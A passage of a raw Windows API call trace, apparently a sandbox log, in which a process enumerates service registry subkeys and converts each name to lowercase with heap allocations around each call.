dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0232.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0232.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0232.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.902] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0232.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0232.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0232.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0232.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a48, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0232.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0232.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0232.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0232.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0232.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.903] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0232.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0232.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0232.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0232.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0232.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0232.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.904] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.904] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0232.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.904] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0232.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.905] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0232.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0232.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.905] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0232.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0232.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.905] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0232.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0232.905] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.905] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.906] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0232.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0232.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.906] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0232.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0232.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.906] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0232.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0232.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.906] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.906] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0232.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0232.906] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.907] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0232.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0232.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.907] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0232.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0232.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.907] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0232.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0232.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.907] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.907] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0232.907] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0232.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0232.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0232.908] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.908] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0232.908] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.908] 